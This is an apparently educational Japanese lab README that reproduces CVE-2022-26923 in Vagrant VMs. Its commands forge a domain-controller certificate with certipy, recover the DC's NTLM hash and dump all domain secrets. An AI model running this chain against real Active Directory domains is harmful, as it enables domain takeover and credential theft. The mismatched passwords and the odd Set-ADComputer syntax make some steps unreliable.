
この脆弱性により、デフォルトのActive Directory環境でActive Directory Certificate Services(AD CS)サーバーの役割がインストールされている場合、低権限ユーザーが権限をドメイン管理者に昇格させることができました。
これは主にActive Directory Certificate Services(AD CS)の役割に関連しています。AD CSの役割はWindows Serverの役割であり、組織向けに公開鍵基盤(PKI)を構築し、公開鍵暗号、デジタル証明書、デジタル署名機能を提供できます。AD CSの役割は、ユーザー、コンピューター、サービスに対して証明書を発行するために使用されます。
使用されるWindows Serverのバージョンは、脆弱なバージョンであるWindows Server 2019 Standard Evaluationです。 提供されているVagrantfile(Vulnerable Machineフォルダー内)は、AD CSの役割がインストールおよび構成されたWindows Server 2019 VMと、以下の資格情報を持つ低権限ユーザーを作成します:
userV@grant1環境を作成するには、次の手順に従ってください:
CVE-2022-26923ディレクトリに移動します:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile内の次の行のIPアドレスを置き換えることで変更できます:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipyがインストールされたLinuxマシンがない場合は、次のコマンドを実行して、Attacker Machineディレクトリにある提供済みのVagrantマシンを使用できます:
cd 'Attacker Machine'
vagrant up
Attacker Machineフォルダーには、Vagrantマシンと、最新バージョンのcertipyをインストールするシェルスクリプトが含まれています。このスクリプトを使用して、Linuxマシンにcertipyをインストールすることもできます。
攻撃マシンに接続するには、Attacker Machineディレクトリで次のコマンドを実行します:
vagrant ssh
攻撃マシンに接続したら、Windows ServerのIPアドレスをhostsファイルに追加する必要があります:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
注記:脆弱なマシンのVagrantfileでIPアドレスを変更した場合は、ここでも変更する必要があります。
次に、ドメイン内に新しいコンピューターアカウントを作成しましょう:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
コンピューターアカウントが作成されたことを確認するには、Vulnerable Machineディレクトリで次のコマンドを実行して、ユーザーuserとパスワードV@grant1で脆弱なマシンに接続します:
vagrant ssh
次に、次のコマンドを実行して、コンピューターアカウントが作成されたことを確認します:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
このマシンアカウントのdnsHostNameはCVEPC.vagrant.localです。ここで行いたいのは、このdnsHostNameを、ドメインコントローラーであるVAGRANT-K51B6U3.vagrant.localに変更することです。
そのためには、まず次のコマンドを実行して、コンピューターアカウントCVEPCからサービスプリンシパル名(SPN)を削除する必要があります:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
次に、以下のコマンドを実行して、dnsHostNameをVAGRANT-K51B6U3.vagrant.localに変更できます:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
dnsHostNameがVAGRANT-K51B6U3.vagrant.localのコンピューターアカウントを取得できたので、攻撃マシンで次のコマンドを実行して、脆弱なマシンから悪意のある証明書を要求できます:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
現在のディレクトリに、vagrant-k51b6u3.pfxという名前の証明書が生成されるはずです。
証明書が有効かどうかを確認するには、次のコマンドを実行して、certipyのauthツールを使用します:
certipy auth -pfx vagrant-k51b6u3.pfx
証明書が有効な場合、ドメインコントローラーのNTLMハッシュを取得できるはずです。これは、さまざまな悪意のある方法で使用される可能性があります。
概念実証として、NTLMハッシュを使用してドメインに保存されているすべてのシークレットを取得できます(CVEの作者の記事で説明されているとおり)。これを行うには、impacketスイートのsecretsdump.pyツールを使用できます(最新バージョンのcertipyとともにインストールされます)。
ツールを使用するには、次のコマンドを実行します:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
<NTLM hash>を、前の手順で取得したNTLMハッシュに置き換えてください。
結果として、ドメインに保存されているすべてのシークレットを取得できるはずです。